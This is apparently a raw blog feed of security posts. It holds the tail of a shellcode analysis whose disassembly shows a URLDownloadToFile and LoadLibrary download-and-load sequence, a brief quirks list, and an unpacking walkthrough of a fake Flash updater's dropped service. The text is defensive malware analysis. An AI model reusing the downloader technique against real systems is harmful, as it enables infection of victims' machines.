-moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000018A&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;edx&lt;span style=""&gt;             &lt;/span&gt;; pCaller = 0&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: silver none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000018B&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;dword ptr [edi] ; Return Address LoadLibrary&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000018D&lt;span style=""&gt;                 &lt;/span&gt;jmp&lt;span style=""&gt;     &lt;/span&gt;eax&lt;span style=""&gt;             &lt;/span&gt;; URLDownloadToFile&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;--&lt;/span&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;= URLDownloadToFile instructions&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="background: silver none repeat scroll 0% 0%; font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;--&lt;/span&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt; = LoadLibrary instructions&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;The interesting thing here is that before the jump to “URLDownloadToFile” the return address for LoadLibrary is pushed to the stack.&lt;span style=""&gt;  &lt;/span&gt;This means that after the file “becer” is downloaded from the infected machine and copied into the file “x.” it will return to LoadLibrary which will load the file “x.” into the exploited process thus infecting the system.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;All in all this is a simple example of how shellcode gets its job done.&lt;span style=""&gt;  &lt;/span&gt;This instance was interesting in that it has a few tricks and interesting turns that an analyst can learn from.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-6324878147249163586?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/6324878147249163586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=6324878147249163586' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6324878147249163586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6324878147249163586'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2009/02/shellcode-x73-x68-x65-x6c-x6c-x63-x6f_40.html' title='Shellcode (x73 x68 x65 x6C x6C x63 x6F x64 x65)'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-1725333764783579375</id><published>2008-10-04T13:46:00.000-07:00</published><updated>2008-10-04T13:49:22.378-07:00</updated><title type='text'>IDA Bochs!</title><content type='html'>Just when I thought that &lt;span class="post-footers"&gt;Ilfak and his team had done it all with Hex-Rays, they go and do this!  I am so psyched to check this out!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://hexblog.com/2008/10/bochs_emulator_and_ida.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-1725333764783579375?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/1725333764783579375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=1725333764783579375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1725333764783579375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1725333764783579375'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2008/10/ida-bochs.html' title='IDA Bochs!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-3251795202358978952</id><published>2008-03-24T16:02:00.000-07:00</published><updated>2008-03-24T16:07:08.164-07:00</updated><title type='text'>6 IT Security Quirks</title><content type='html'>Ok so I've been tagged, and I decided to do an IT Security quirky list;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Here are the rules:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;1) Link to the person that tagged you.&lt;br /&gt;2) Post the rules on your blog.&lt;br /&gt;3) Share six non-important things/habits/quirks about yourself.&lt;br /&gt;4) Tag at least 3 people at the end of your post and link to their blogs.&lt;br /&gt;5) Let each person know they have been tagged by leaving a comment on their blog.&lt;br /&gt;6) Let the fun begin!&lt;br /&gt;&lt;br /&gt; &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;1)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;I need to have some flavor of Unix running on my network at all times, preferably sniffing traffic and running snort.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;2)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;I am willing to sacrifice the speed of my Internet connection so I can run a sniffer, i.e. using a 10 meg hub and plugging my wireless, router, and all my systems into it.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;3)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;Whenever I enter someone else’s house I immediately start to figure out the best way to PWN them.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;4)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;I dislike M$ Windows, however I love using it to tear binaries apart.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;5)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;I have collected a million hand-me-down laptops and PC’s, and still I find myself not having enough computers.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;6)&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;      &lt;/span&gt;&lt;!--[endif]--&gt;I feel the answer to all security related issues is “Just run FreeBSD”!&lt;/p&gt; &lt;br /&gt;There...done, now time to tag.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-3251795202358978952?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/3251795202358978952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=3251795202358978952' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/3251795202358978952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/3251795202358978952'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2008/03/6-it-security-quirks.html' title='6 IT Security Quirks'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-4997115296958055212</id><published>2007-12-29T18:42:00.000-08:00</published><updated>2007-12-30T12:53:16.516-08:00</updated><title type='text'>Quick and Dirty RE</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/R3erQkrk8_I/AAAAAAAAAEU/kP1dLwRecaw/s1600-h/brain150207.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 141px; height: 189px;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/R3erQkrk8_I/AAAAAAAAAEU/kP1dLwRecaw/s320/brain150207.jpg" alt="" id="BLOGGER_PHOTO_ID_5149773000134161394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;While investigating a suspicious downloaded executable I came to employ some quick reverse engineering tricks to identify the purpose of the unknown binary.  The initial binary was called "macromedia-flashplayerupdate.exe", ....fishy!!!!  At the time a virus scan of the binary showed no identification.&lt;br /&gt;&lt;br /&gt;I first started by running the binary on a test system using InCtrl5, a Windows based installation logger.  This showed me that the binary dropped a secondary EXE called "aspimgr.exe" and installed it as a service.&lt;br /&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\aspimgr &lt;i&gt;"ImagePath"&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Type: &lt;i&gt;REG_EXPAND_SZ&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Data: &lt;i&gt;C:\WINDOWS\system32\aspimgr.exe&lt;/i&gt;&lt;/tt&gt; &lt;/dd&gt;&lt;/dl&gt;&lt;u style="font-weight: bold;"&gt;Files added: 6&lt;/u&gt; &lt;dl&gt;&lt;dt&gt;c:\Documents and Settings\user\Local Settings\Temp\&lt;i&gt;_check32.bat&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;12/29/2007 9:58 PM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;181 bytes&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dt&gt;c:\WINDOWS\&lt;i&gt;s32.txt&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;8/18/2004 11:00 AM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;63 bytes&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dt&gt;c:\WINDOWS\&lt;i&gt;ws386.ini&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;8/18/2004 11:00 AM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;12 bytes&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dt&gt;c:\WINDOWS\Prefetch\&lt;i&gt;ASPIMGR.EXE-105B8CCF.pf&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;12/29/2007 9:58 PM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;10,858 bytes&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dt&gt;c:\WINDOWS\Prefetch\&lt;i&gt;MACROMEDIA-FLASHPLAYERUPDATE.-30FC0E47.pf&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;12/29/2007 9:58 PM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;7,590 bytes&lt;/i&gt;&lt;/tt&gt; &lt;/dd&gt;&lt;/dl&gt;c:\WINDOWS\system32\&lt;i&gt;aspimgr.exe&lt;/i&gt;&lt;br /&gt;                &lt;tt&gt;     Date: &lt;i&gt;12/29/2007 9:58 PM&lt;/i&gt;&lt;/tt&gt;&lt;br /&gt;&lt;dl&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;65,536 bytes&lt;/i&gt;&lt;/tt&gt; &lt;/dd&gt;&lt;/dl&gt; &lt;h3&gt;&lt;u&gt;Files deleted: 1&lt;/u&gt;&lt;/h3&gt; &lt;dl&gt;&lt;dt&gt;c:\Documents and  Settings\user\Desktop\&lt;i&gt;macromedia-flashplayerupdate.exe&lt;/i&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;tt&gt;Date: &lt;i&gt;12/29/2007 9:57 PM&lt;/i&gt;&lt;/tt&gt;  &lt;/dd&gt;&lt;dd&gt;&lt;tt&gt;Size: &lt;i&gt;49,152 bytes&lt;/i&gt;&lt;/tt&gt; &lt;/dd&gt;&lt;/dl&gt;&lt;br /&gt;A quick strings look at the dropped EXE showed no significant information, and a run through PEiD did not show signs of a packer.  This activity is obviously suspicious and most likely malicious, however a deeper understanding of the binaries functionality is crutial to  responding to  any incident, so here we go!&lt;br /&gt;&lt;br /&gt;Although no useful strings were uncovered in the initial binary, I used a quick trick using IDA Pro and Ollydbg.&lt;br /&gt;&lt;br /&gt;Ollydbg has a setting to break on newly loaded DLL's.  Pres Alt+O and select the "Events" tab and check "Break on new module (DLL)".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QwzalobDZ4c/R3cOTUrk88I/AAAAAAAAAD8/NdIgJQyk39s/s1600-h/olly.bmp"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_QwzalobDZ4c/R3cOTUrk88I/AAAAAAAAAD8/NdIgJQyk39s/s320/olly.bmp" alt="" id="BLOGGER_PHOTO_ID_5149600424053240770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let the binary run and it will break each time a new DLL is loaded.  This is a trial and error procedure, however I like to stop and dump process memory when interesting DLL's are loaded such as ws2_32.dll and shell32.dll.&lt;br /&gt;&lt;br /&gt;From here we can use LordPE to dump the memory of the running process by locating the process in the list and right clicking and selecting "dump full".  ImportREC then can be used to reconstruct the IAT, as shown below.&lt;br /&gt;&lt;br /&gt;LordPE:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/R3cRtkrk89I/AAAAAAAAAEE/nik3vfOnlSQ/s1600-h/lordpe.bmp"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/R3cRtkrk89I/AAAAAAAAAEE/nik3vfOnlSQ/s320/lordpe.bmp" alt="" id="BLOGGER_PHOTO_ID_5149604173559690194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And importREC:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QwzalobDZ4c/R3cSS0rk8-I/AAAAAAAAAEM/iYuXk0pN8Tw/s1600-h/importrec.bmp"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_QwzalobDZ4c/R3cSS0rk8-I/AAAAAAAAAEM/iYuXk0pN8Tw/s320/importrec.bmp" alt="" id="BLOGGER_PHOTO_ID_5149604813509817314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This newly constructed binary, though not perfect, can be loaded into IDA Pro for analysis.  Here we can see a disassembly excerpt of the same section in the pre and post dumped file:&lt;br /&gt;&lt;br /&gt;Pre:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 0.5pt solid windowtext; padding: 1pt;"&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;sub_4037FB&lt;span style=""&gt;      &lt;/span&gt;proc near&lt;span style=""&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;; CODE XREF: _main+1Ep&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;span style=""&gt;           &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;= &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;dword ptr &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 128, 64); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;-4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;push&lt;span style=""&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;asc_40E2B0&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "H"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403800&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403805&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aV_2&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "V"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040380C&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403811&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; 